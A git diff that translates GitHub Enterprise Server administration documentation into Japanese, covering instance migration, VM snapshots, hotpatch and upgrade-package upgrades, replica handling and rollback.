-6. Schedule a maintenance window. The maintenance window should include enough time to transfer data from the backup host to the new instance and will vary based on the size of the backup snapshot and available network bandwidth. During this time your current instance will be unavailable and in maintenance mode while you migrate to the new instance.
+5. ユーザーネットワークトラフィックを新しいインスタンスに切り替える方法を決定します。 移行した後に、すべての HTTP と Git のネットワークトラフィックは新しいインスタンスに送信されます。
+    - **DNS** - この方法はシンプルであり、あるデータセンターから他のデータセンターへの移行であってもうまく働くことから、この方法はすべての環境でおすすめします。 移行を開始する前に、既存のDNSレコードのTTLを5分以下にして、変更が伝播するようにしてください。 移行が完了したら、DNSレコードを新しいインスタンスのIPアドレスを指すように更新してください。
+    - **IPアドレスの割り当て** - この方法が利用できるのはVMWareからVMWareへの移行の場合のみであり、DNSを使う方法が利用できない場合以外にはおすすめできません。 移行を始める前に、古いインスタンスをシャットダウンしてそのIPアドレスを新しいインスタンスに割り当てる必要があります。
+6. メンテナンスウィンドウをスケジューリングしてください。 メンテナンスウィンドウには、データをバックアップホストから新しいインスタンスに転送するのに十分な時間が含まれていなければならず、その長さはバックアップスナップショットのサイズと利用可能なネットワーク帯域に基づいて変化します。 この間、現在のインスタンスは利用できなくなり、新しいインスタンスへの移行の間はメンテナンスモードになります。
 
-## Perform the migration
+## 移行の実施
 
-1. Provision a new {% data variables.product.prodname_enterprise %} 2.1 instance. For more information, see the "[Provisioning and Installation](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/)" guide for your target platform.
-2. In a browser, navigate to the new replica appliance's IP address and upload your {% data variables.product.prodname_enterprise %} license.
-3. Set an admin password.
-5. Click **Migrate**.
-![Choosing install type](/assets/images/enterprise/migration/migration-choose-install-type.png)
-6. Paste your backup host access SSH key into "Add new SSH key".
-![Authorizing backup](/assets/images/enterprise/migration/migration-authorize-backup-host.png)
-7. Click **Add key** and then click **Continue**.
-8. Copy the `ghe-restore` command that you'll run on the backup host to migrate data to the new instance.
-![Starting a migration](/assets/images/enterprise/migration/migration-restore-start.png)
-9. Enable maintenance mode on the old instance and wait for all active processes to complete. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+1. 新しい{% data variables.product.prodname_enterprise %}2.1インスタンスをプロビジョニングしてください。 詳しい情報については、ターゲットのプラットフォームの"[プロビジョニングとインストール](/enterprise/2.1/admin/guides/installation/provisioning-and-installation/)"ガイドを参照してください。
+2. ブラウザで新しいレプリカアプライアンスのIPアドレスにアクセスして、所有する{% data variables.product.prodname_enterprise %}のライセンスをアップロードしてください。
+3. 管理者パスワードを設定してください。
+5. **Migrate（移行）**をクリックしてください。 ![インストールタイプの選択](/assets/images/enterprise/migration/migration-choose-install-type.png)
+6. バックアップホストへのアクセス用のSSHキーを"Add new SSH key（新しいSSHキーの追加）"に貼り付けてください。 ![バックアップの認証](/assets/images/enterprise/migration/migration-authorize-backup-host.png)
+7. [**Add key**] をクリックしてから、[**Continue**] をクリックします。
+8. 新しいインスタンスへデータを移行するためにバックアップホストで実行する`ghe-restore`コマンドをコピーしてください。 ![移行の開始](/assets/images/enterprise/migration/migration-restore-start.png)
+9. 古いインスタンスでメンテナンスモードを有効化し、すべてのアクティブなプロセスが完了するのを待ってください。 詳しい情報については"[メンテナンスモードの有効化とスケジューリング](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)"を参照してください。
 
   {% note %}
 
-  **Note:** The instance will be unavailable for normal use from this point forward.
+  **ノート:** この時点から、インスタンスは通常の利用ができなくなります。
 
   {% endnote %}
 
-10. On the backup host, run the `ghe-backup` command to take a final backup snapshot. This ensures that all data from the old instance is captured.
-11. On the backup host, run the `ghe-restore` command you copied on the new instance's restore status screen to restore the latest snapshot.
+10. バックアップホストで、`ghe-backup` コマンドを実行して最終的なバックアップスナップショットを作成します。 これにより、古いインスタンスからすべてのデータが確実にキャプチャされます。
+11. バックアップホストで、新しいインスタンスの復元ステータス画面でコピーした `ghe-restore` コマンドを実行して、最新のスナップショットを復元します。
   ```shell
   $ ghe-restore 169.254.1.1
   The authenticity of host '169.254.1.1:122' can't be established.
@@ -86,17 +84,15 @@ To upgrade to the latest version of {% data variables.product.prodname_enterpris
   Visit https://169.254.1.1/setup/settings to review appliance configuration.
   ```
 
-12. Return to the new instance's restore status screen to see that the restore completed.
-![Restore complete screen](/assets/images/enterprise/migration/migration-status-complete.png)
-13. Click **Continue to settings** to review and adjust the configuration information and settings that were imported from the previous instance.
-![Review imported settings](/assets/images/enterprise/migration/migration-status-complete.png)
-14. Click **Save settings**.
+12. 新しいインスタンスの復元ステータス画面に戻って、復元が完了したことを確認します。![復元完了画面](/assets/images/enterprise/migration/migration-status-complete.png)
+13. [**Continue to settings**] をクリックして、前のインスタンスからインポートされた設定情報を確認して調整します。 ![インポートされた設定をレビュー](/assets/images/enterprise/migration/migration-status-complete.png)
+14. **Save settings（設定の保存）**をクリックしてください。
 
   {% note %}
 
-  **Note:** You can use the new instance after you've applied configuration settings and restarted the server.
+  **メモ:** 設定を適用してサーバーを再起動した後は、新しいインスタンスを使用できます。
 
   {% endnote %}
 
-15. Switch user network traffic from the old instance to the new instance using either DNS or IP address assignment.
-16. Upgrade to the latest patch release of {{ currentVersion }}. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)."
+15. DNS または IP アドレスの割り当てのどちらかを使用して、ユーザーのネットワークトラフィックを古いインスタンスから新しいインスタンスに切り替えます。
+16. 最新のパッチリリース {{ currentVersion }} にアップグレードします。 詳細は「[{% data variables.product.prodname_ghe_server %} をアップグレードする](/enterprise/admin/guides/installation/upgrading-github-enterprise-server/)」を参照してください。
diff --git a/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md b/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md
index 7d618961ca..3fbf6bc2ec 100644
--- a/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md
+++ b/translations/ja-JP/content/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server.md
@@ -1,6 +1,6 @@
 ---
-title: Upgrading GitHub Enterprise Server
-intro: 'Upgrade {% data variables.product.prodname_ghe_server %} to get the latest features and security updates.'
+title: GitHub Enterprise Server をアップグレードする
+intro: '最新の機能とセキュリティアップデートを入手するために、{% data variables.product.prodname_ghe_server %} をアップグレードしてください。'
 redirect_from:
   - /enterprise/admin/installation/upgrading-github-enterprise-server
   - /enterprise/admin/articles/upgrading-to-the-latest-release
@@ -25,141 +25,139 @@ shortTitle: Upgrading GHES
 
 {% ifversion ghes < 3.3 %}{% data reusables.enterprise.upgrade-ghes-for-features %}{% endif %}
 
-## Preparing to upgrade
+## アップグレードの準備
 
-1. Determine an upgrade strategy and choose a version to upgrade to. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.
-3. Create a fresh backup of your primary instance with the {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README.md file](https://github.com/github/backup-utils#readme).
-4. If you are upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users. If you are using a hotpatch, maintenance mode is not required.
+1. アップグレードの戦略を決定し、アップグレード先のバージョンを選択してください。 For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version.
+3. {% data variables.product.prodname_enterprise_backup_utilities %} で、プライマリインスタンスの新しいバックアップを作成してください。 詳しい情報については、[{% data variables.product.prodname_enterprise_backup_utilities %}README.md ファイル](https://github.com/github/backup-utils#readme)を参照してください。
+4. アップグレードパッケージを使ってアップグレードをする場合は、{% data variables.product.prodname_ghe_server %} のエンドユーザのためにメンテナンス時間枠をスケジューリングしてください。 ホットパッチを利用している場合、メンテナンスモードは必要ありません。
 
   {% note %}
 
-  **Note:** The maintenance window depends on the type of upgrade you perform. Upgrades using a hotpatch usually don't require a maintenance window. Sometimes a reboot is required, which you can perform at a later time. Following the versioning scheme of MAJOR.FEATURE.PATCH, patch releases using an upgrade package typically require less than five minutes of downtime. Feature releases that include data migrations take longer depending on storage performance and the amount of data that's migrated. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+  **注釈:** メンテナンスウィンドウは、実行しようとしているアップグレードの種類によります。 ホットパッチを利用するアップグレードは、通常メンテナンスウィンドウを必要としません。 リブートが必要になることもあります。そのリブートは後で行うことができます。 MAJOR.FEATURE.PATCH というバージョン付けのスキームに従い、アップグレードパッケージを使ったパッチのリリースで生じるダウンタイムは、通常 5 分未満です。 データの移行を含むフィーチャリリースは、ストレージの性能および移行するデータの量に応じた時間がかかります。 詳しい情報については"[メンテナンスモードの有効化とスケジューリング](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)"を参照してください。
 
   {% endnote %}
 
 {% data reusables.enterprise_installation.upgrade-hardware-requirements %}
 
-## Taking a snapshot
+## スナップショットの取得
 
-A snapshot is a checkpoint of a virtual machine (VM) at a point in time. We highly recommend taking a snapshot before upgrading your virtual machine so that if an upgrade fails, you can revert your VM back to the snapshot. If you're upgrading to a new feature release, you must take a VM snapshot. If you're upgrading to a patch release, you can attach the existing data disk.
+スナップショットは、ある時点での仮想マシン（VM）のチェックポイントです。 アップグレードに失敗した場合にスナップショットからVMを回復できるよう、仮想マシンをアップグレードする前にスナップショットを取っておくことを強くおすすめします。 新しいフィーチャリリースにアップグレードするなら、VM のスナップショットを取らなければなりません。 パッチリリースへのアップグレードをするなら、既存のデータディスクをアタッチできます。
 
-There are two types of snapshots:
+スナップショットには2種類あります。
 
-- **VM snapshots** save your entire VM state, including user data and configuration data. This snapshot method requires a large amount of disk space and is time consuming.
-- **Data disk snapshots** only save your user data.
+- **VM スナップショット**は、ユーザデータおよび設定データを含む VM の状態全体を保存します。 このスナップショットの手法には大量のディスク領域が必要になり、時間がかかります。
+- **データディスクスナップショット**はユーザデータだけを保存します。
 
   {% note %}
 
-  **Notes:**
-  - Some platforms don't allow you to take a snapshot of just your data disk. For these platforms, you'll need to take a snapshot of the entire VM.
-  - If your hypervisor does not support full VM snapshots, you should take a snapshot of the root disk and data disk in quick succession.
+  **ノート:**
+  - プラットフォームによっては、ユーザのデータディスクだけのスナップショットを取ることができません。 それらのプラットフォームでは、VM 全体のスナップショットを取る必要があります。
+  - ハイパーバイザーが完全なVMスナップショットをサポートしていないなら、ルートディスクとデータディスクのスナップショットを時間をおかずに取らなければなりません。
 
   {% endnote %}
 
-| Platform | Snapshot method | Snapshot documentation URL |
-|---|---|---|
-| Amazon AWS | Disk | <https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-creating-snapshot.html>
-| Azure | VM | <https://docs.microsoft.com/azure/backup/backup-azure-vms-first-look-arm>
-| Hyper-V | VM | <https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/enable-or-disable-checkpoints-in-hyper-v>
-| Google Compute Engine | Disk | <https://cloud.google.com/compute/docs/disks/create-snapshots>
-| VMware | VM | <https://pubs.vmware.com/vsphere-50/topic/com.vmware.wssdk.pg.doc_50/PG_Ch11_VM_Manage.13.3.html>{% ifversion ghes < 3.3 %}
-| XenServer | VM | <https://docs.citrix.com/en-us/xencenter/current-release/vms-snapshots.html>{% endif %}
+| プラットフォーム              | スナップショットの取得方法 | スナップショットドキュメンテーションのURL                                                                                                                                                                                                           |
+| --------------------- | ------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| Amazon AWS            | ディスク          | <https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-creating-snapshot.html>                                                                                                                                                 |
+| Azure                 | VM            | <https://docs.microsoft.com/azure/backup/backup-azure-vms-first-look-arm>                                                                                                                                                        |
+| Hyper-V               | VM            | <https://docs.microsoft.com/windows-server/virtualization/hyper-v/manage/enable-or-disable-checkpoints-in-hyper-v>                                                                                                               |
+| Google Compute Engine | ディスク          | <https://cloud.google.com/compute/docs/disks/create-snapshots>                                                                                                                                                                   |
+| VMware                | VM            | [https://pubs.vmware.com/vsphere-50/topic/com.vmware.wssdk.pg.doc_50/PG_Ch11_VM_Manage.13.3.html](https://pubs.vmware.com/vsphere-50/topic/com.vmware.wssdk.pg.doc_50/PG_Ch11_VM_Manage.13.3.html){% ifversion ghes < 3.3 %}
+| XenServer             | VM            | <https://docs.citrix.com/en-us/xencenter/current-release/vms-snapshots.html>{% endif %}
 
-## Upgrading with a hotpatch
+## ホットパッチでのアップグレード
 
-{% data reusables.enterprise_installation.hotpatching-explanation %} Using the {% data variables.enterprise.management_console %}, you can install a hotpatch immediately or schedule it for later installation. You can use the administrative shell to install a hotpatch with the `ghe-upgrade` utility. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)."
+{% data reusables.enterprise_installation.hotpatching-explanation %}{% data variables.enterprise.management_console %} を使うと、ホットパッチを即座にインストールすることや、後にインストールするようにスケジュールすることができます。 管理シェルを使って `ghe-upgrade` ユーティリティでホットパッチをインストールすることもできます。 詳細は「[アップグレードの要求事項](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)」を参照してください。
 
 {% note %}
 
-**{% ifversion ghes %}Notes{% else %}Note{% endif %}**:
+**{% ifversion ghes %}注釈{% else %}注釈{% endif %}**:
 
 {% ifversion ghes %}
-- If {% data variables.product.product_location %} is running a release candidate build, you can't upgrade with a hotpatch.
+- {% data variables.product.product_location %} がリリース候補ビルドを実行している場合、ホットパッチでアップグレードすることはできません。
 
-- {% endif %}Installing a hotpatch using the {% data variables.enterprise.management_console %} is not available in clustered environments. To install a hotpatch in a clustered environment, see "[Upgrading a cluster](/enterprise/{{ currentVersion }}/admin/clustering/upgrading-a-cluster#upgrading-with-a-hotpatch)."
+- {% endif %}クラスタ環境では、{% data variables.enterprise.management_console %} を使ったホットパッチのインストールはできません。 クラスタ環境でホットパッチをインストールするには、「[クラスタをアップグレードする](/enterprise/{{ currentVersion }}/admin/clustering/upgrading-a-cluster#upgrading-with-a-hotpatch)」を参照してください。
 
 {% endnote %}
 
-### Upgrading a single appliance with a hotpatch
+### ホットパッチでの単一のアプライアンスのアップグレード
 
-#### Installing a hotpatch using the {% data variables.enterprise.management_console %}
+#### {% data variables.enterprise.management_console %} を使ってホットパッチをインストールする
 
-1. Enable automatic updates. For more information, see "[Enabling automatic updates](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-automatic-update-checks/)."
+1. 自動アップデートを有効化してください。 詳しい情報については「[自動アップデートの有効化](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-automatic-update-checks/)」を参照してください。
 {% data reusables.enterprise_site_admin_settings.access-settings %}
 {% data reusables.enterprise_site_admin_settings.management-console %}
 {% data reusables.enterprise_management_console.updates-tab %}
-4. When a new hotpatch has been downloaded, use the Install package drop-down menu:
-    - To install immediately, select **Now**:
-    - To install later, select a later date.
-  ![Hotpatch installation date dropdown](/assets/images/enterprise/management-console/hotpatch-installation-date-dropdown.png)
-5. Click **Install**.
-  ![Hotpatch install button](/assets/images/enterprise/management-console/hotpatch-installation-install-button.png)
+4. 新しいホットパッチがダウンロードされたなら、Install package（パッケージのインストール）ドロップダウンメニューを使ってください。
+    - すぐにインストールするなら**Now（即時）**を選択してください。
+    - 後でインストールするなら、後の日付を選択してください。 ![ホットパッチインストール日のドロップダウン](/assets/images/enterprise/management-console/hotpatch-installation-date-dropdown.png)
+5. [**Install**] をクリックします。 ![ホットパッチインストールボタン](/assets/images/enterprise/management-console/hotpatch-installation-install-button.png)
 
-#### Installing a hotpatch using the administrative shell
+#### 管理シェルを使ったホットパッチのインストール
 
 {% data reusables.enterprise_installation.download-note %}
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Copy the URL for the upgrade hotpackage (*.hpkg* file).
+2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %}アップグレードのホットパッケージ（*.hpkg*ファイル）のURLをコピーしてください。
 {% data reusables.enterprise_installation.download-package %}
-4. Run the `ghe-upgrade` command using the package file name:
+4. パッケージのファイル名を使って `ghe-upgrade` コマンドを実行してください。
   ```shell
   admin@<em>HOSTNAME</em>:~$ ghe-upgrade <em>GITHUB-UPGRADE.hpkg</em>
   *** verifying upgrade package signature...
   ```
-5. If a reboot is required for updates for kernel, MySQL, Elasticsearch or other programs, the hotpatch upgrade script notifies you.
+5. カーネル、MySQL、Elasticsearch やその他のプログラムのアップグレードにリブートが必要なら、ホットパッチアップグレードスクリプトが通知してくれます。
 
-### Upgrading an appliance that has replica instances using a hotpatch
+### ホットパッチを使ったレプリカインスタンスを持つアプライアンスのアップグレード
 
 {% note %}
 
-**Note**: If you are installing a hotpatch, you do not need to enter maintenance mode or stop replication.
+**注釈**: ホットパッチをインストールする場合、メンテナンスモードに入ったりレプリケーションを停止したりする必要はありません。
 
 {% endnote %}
 
-Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time.
+High Availability と Geo-replication が設定されたアプライアンスは、プライマリインスタンスに加えてレプリカインスタンスを使います。 これらのアプライアンスをアップグレードするには、プライマリインスタンスとすべてのレプリカインスタンスの両方を、1 つずつアップグレードしなければなりません。
 
-#### Upgrading the primary instance
+#### プライマリインスタンスのアップグレード
 
-1. Upgrade the primary instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)."
+1. 「[管理シェルを使ってホットパッチをインストールする](#installing-a-hotpatch-using-the-administrative-shell)」の指示に従ってプライマリインスタンスをアップグレードしてください。
 
-#### Upgrading a replica instance
+#### レプリカインスタンスのアップグレード
 
 {% note %}
 
-**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time.
+**メモ:** Geo-replication の一部として複数のレプリカインスタンスを動作させているなら、この手順は各レプリカインスタンス 1 つずつに繰り返してください。
 
 {% endnote %}
 
-1. Upgrade the replica instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time.
+1. 「[管理シェルを使ってホットパッチをインストールする](#installing-a-hotpatch-using-the-administrative-shell)」の指示に従ってレプリカインスタンスをアップグレードします。 Geo-replication に複数のレプリカを使用している場合は、この手順を繰り返して、各レプリカを一度に 1 つずつアップグレードする必要があります。
 {% data reusables.enterprise_installation.replica-ssh %}
 {% data reusables.enterprise_installation.replica-verify %}
 
-## Upgrading with an upgrade package
+## アップグレードパッケージでのアップグレード
 
-While you can use a hotpatch to upgrade to the latest patch release within a feature series, you must use an upgrade package to upgrade to a newer feature release. For example to upgrade from `2.11.10` to `2.12.4` you must use an upgrade package since these are in different feature series. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)."
+フィーチャシリーズ内の最新のパッチリリースへのアップグレードにはホットパッチが利用できますが、新しいフィーチャリリースへのアップグレードにはアップグレードパッケージを使わなければなりません。 たとえば `2.11.10` から `2.12.4` へのアップグレードの場合、これらは異なるフィーチャシリーズなので、アップグレードパッケージを使わなければなりません。 詳細は「[アップグレードの要求事項](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)」を参照してください。
 
-### Upgrading a single appliance with an upgrade package
+### アップグレードパッケージでの単一のアプライアンスのアップグレード
 
 {% data reusables.enterprise_installation.download-note %}
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
-2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Select the appropriate platform and copy the URL for the upgrade package (*.pkg* file).
+2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} 適切なプラットフォームを選択し、アップグレードパッケージ (*.pkg*ファイル) の URL をコピーしてください。
 {% data reusables.enterprise_installation.download-package %}
-4. Enable maintenance mode and wait for all active processes to complete on the {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)."
+4. メンテナンスモードを有効にし、{% data variables.product.prodname_ghe_server %} インスタンス上のすべてのアクティブなプロセスが完了するのを待ってください。 詳しい情報については"[メンテナンスモードの有効化とスケジューリング](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)"を参照してください。
 
   {% note %}
 
-  **Note**: When upgrading the primary appliance in a High Availability configuration, the appliance should already be in maintenance mode if you are following the instructions in "[Upgrading the primary instance](#upgrading-the-primary-instance)."
+  **メモ**: High Availability 構成のプライマリアプライアンスをアップグレードする場合には、「[プライマリインスタンスをアップグレードする](#upgrading-the-primary-instance)」の指示に従っているならアプライアンスはメンテナンスモードになっているはずです。
 
   {% endnote %}
 
-5. Run the `ghe-upgrade` command using the package file name:
+5. パッケージのファイル名を使って `ghe-upgrade` コマンドを実行してください。
   ```shell
   admin@<em>HOSTNAME</em>:~$ ghe-upgrade <em>GITHUB-UPGRADE.pkg</em>
   *** verifying upgrade package signature...
   ```
-6. Confirm that you'd like to continue with the upgrade and restart after the package signature verifies. The new root filesystem writes to the secondary partition and the instance automatically restarts in maintenance mode:
+6. アップグレードを続けてパッケージ署名検証後に再起動することを承諾します。 新しいルートファイルシステムがセカンダリパーティションに書かれ、インスタンスは自動的にメンテナンスモードで再起動します。
   ```shell
   *** applying update...
   This package will upgrade your installation to version <em>version-number</em>
@@ -167,74 +165,76 @@ While you can use a hotpatch to upgrade to the latest patch release within a fea
   Target root partition:  /dev/xvda2
   Proceed with installation? [y/N]
   ```
-7. For single appliance upgrades, disable maintenance mode so users can use {% data variables.product.product_location %}.
+7. 単一アプライアンスのアップグレードであれば、メンテナンスモードを無効化してユーザが {% data variables.product.product_location %} を利用できるようにしてください。
 
   {% note %}
 
-  **Note**: When upgrading appliances in a High Availability configuration you should remain in maintenance mode until you have upgraded all of the replicas and replication is current. For more information, see "[Upgrading a replica instance](#upgrading-a-replica-instance)."
+  **メモ**: High Availability 設定のアプライアンスをアップグレードする場合、すべてのレプリカをアップグレードし、レプリケーションが最新の状態になるまではメンテナンスモードのままでなければなりません。 詳細は「[レプリカインスタンスをアップグレードする](#upgrading-a-replica-instance)」を参照してください。
 
   {% endnote %}
 
-### Upgrading an appliance that has replica instances using an upgrade package
+### アップグレードパッケージを使ったレプリカインスタンスを持つアプライアンスのアップグレード
 
-Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time.
+High Availability と Geo-replication が設定されたアプライアンスは、プライマリインスタンスに加えてレプリカインスタンスを使います。 これらのアプライアンスをアップグレードするには、プライマリインスタンスとすべてのレプリカインスタンスの両方を、1 つずつアップグレードしなければなりません。
 
-#### Upgrading the primary instance
+#### プライマリインスタンスのアップグレード
 
 {% warning %}
 
-**Warning:** When replication is stopped, if the primary fails, any work that is done before the replica is upgraded and the replication begins again will be lost.
+**警告:** レプリケーションが停止されると、プライマリに障害があった場合には、レプリカがアップグレードされてレプリケーションが再開されるまでに行われた作業は失われます。
 
 {% endwarning %}
 
-1. On the primary instance, enable maintenance mode and wait for all active processes to complete. For more information, see "[Enabling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)."
+1. プライマリインスタンスでメンテナンスモードを有効化し、すべてのアクティブなプロセスが完了するのを待ちます。 詳しい情報については、「[メンテナンスモードの有効化](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)」を参照してください。
 {% data reusables.enterprise_installation.replica-ssh %}
-3. On the replica instance, or on all replica instances if you're running multiple replica instances as part of geo-replication, run `ghe-repl-stop` to stop replication.
-4. Upgrade the primary instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)."
+3. レプリカインスタンス、あるいは Geo-replication の一部として複数のレプリカインスタンスを動作させている場合は、すべてのレプリカインスタンスで `ghe-repl-stop` を実行してレプリケーションを停止させます。
+4. 「[アップグレードパッケージで単一アプライアンスをアップグレードする](#upgrading-a-single-appliance-with-an-upgrade-package)」の指示に従い、プライマリインスタンスをアップグレードしてください。
 
-#### Upgrading a replica instance
+#### レプリカインスタンスのアップグレード
 
 {% note %}
 
-**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time.
+**メモ:** Geo-replication の一部として複数のレプリカインスタンスを動作させているなら、この手順は各レプリカインスタンス 1 つずつに繰り返してください。
 
 {% endnote %}
 
-1. Upgrade the replica instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time.
+1. 「[アップグレードパッケージで単一アプライアンスをアップグレードする](#upgrading-a-single-appliance-with-an-upgrade-package)」の指示に従い、レプリカインスタンスをアップグレードします。 Geo-replication に複数のレプリカを使用している場合は、この手順を繰り返して、各レプリカを一度に 1 つずつアップグレードする必要があります。
 {% data reusables.enterprise_installation.replica-ssh %}
 {% data reusables.enterprise_installation.replica-verify %}
 
 {% data reusables.enterprise_installation.start-replication %}
 
-{% data reusables.enterprise_installation.replication-status %} If the command returns `Replication is not running`, the replication may still be starting. Wait about one minute before running `ghe-repl-status` again.
+{% data reusables.enterprise_installation.replication-status %} コマンドが `Replication is not running` を返すなら、レプリケーションはまだ開始中かもしれません。 `ghe-repl-status` をもう一度実行する前に 1 分間ほど待ってください。
 
    {% note %}
 
-    **Note:** While the resync is in progress `ghe-repl-status` may return expected messages indicating that replication is behind.
-    For example: `CRITICAL: git replication is behind the primary by more than 1007 repositories and/or gists`
+    **メモ:** resync の処理が進んでいる間は、`ghe-repl-status` はレプリケーションが遅れていることを示す期待どおりのメッセージを返すかもしれません。
+    たとえば `CRITICAL: git replication is behind the primary by more than 1007 repositories and/or gists` のようなメッセージです。
 
    {% endnote %}
 
-   If `ghe-repl-status` did not return `OK`, contact {% data variables.contact.enterprise_support %}. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)."
-   
-6. When you have completed upgrading the last replica, and the resync is complete, disable maintenance mode so users can use {% data variables.product.product_location %}.
+   If `ghe-repl-status` did not return `OK`, contact {% data variables.contact.enterprise_support %}. 詳しい情報については、「[{% data variables.contact.github_support %} からの支援を受ける](/admin/enterprise-support/receiving-help-from-github-support)」を参照してください。
 
-## Restoring from a failed upgrade
+6. 最後のレプリカのアップグレードが完了し、resync も完了したなら、ユーザが {% data variables.product.product_location %} を使えるようにメンテナンスモードを無効化してください。
 
-If an upgrade fails or is interrupted, you should revert your instance back to its previous state. The process for completing this depends on the type of upgrade.
+## 失敗したアップグレードからのリストア
 
-### Rolling back a patch release
+アップグレードが失敗もしくは中断したなら、インスタンスを以前の状態に復帰させなければなりません。 この処理を完了させるプロセスは、アップグレードの種類によります。
 
-To roll back a patch release, use the `ghe-upgrade` command with the `--allow-patch-rollback` switch. {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %}
+### パッチリリースのロールバック
 
-For more information, see "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-upgrade)."
+パッチリリースをロールバックするには、`--allow-patch-rollback` を付けて `ghe-upgrade` コマンドを使います。 Before rolling back, replication must be temporarily stopped by running `ghe-repl-stop` on all replica instances. {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %}
 
-### Rolling back a feature release
+Once the rollback is complete, restart replication by running `ghe-repl-start` on all replicas.
 
-To roll back from a feature release, restore from a VM snapshot to ensure that root and data partitions are in a consistent state. For more information, see "[Taking a snapshot](#taking-a-snapshot)."
+詳細は「[コマンドラインユーティリティ](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-upgrade)」を参照してください。
+
+### フィーチャリリースのロールバック
+
+フィーチャリリースからロールバックするには、ルートおよびデータパーティションが整合した状態になることを保証するため、VM スナップショットからリストアしてください。 詳細は「[スナップショットを取得する](#taking-a-snapshot)」を参照してください。
 
 {% ifversion ghes %}
-## Further reading
+## 参考リンク
 
-- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)"
+- 「[新しいリリースへのアップグレードについて](/admin/overview/about-upgrades-to-new-releases)」
 {% endif %}
diff --git a/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/index.md b/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/index.md
index 68f0cb423b..a9827edb9b 100644
--- a/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/index.md
+++ b/translations/ja-JP/content/admin/enterprise-support/receiving-help-from-github-support/index.md
@@ -1,6 +1,6 @@
 ---
-title: Receiving help from GitHub Support
-intro: 'You can contact {% data variables.contact.enterprise_support %} to report a range of issues for your enterprise.'
+title: GitHub Support からの支援を受ける
+intro: 'Enterprise のさまざまな問題をレポートするには{% data variables.contact.enterprise_support %} に連絡してください。'
 redirect_from:
   - /enterprise/admin/guides/enterprise-support/receiving-help-from-github-enterprise-support
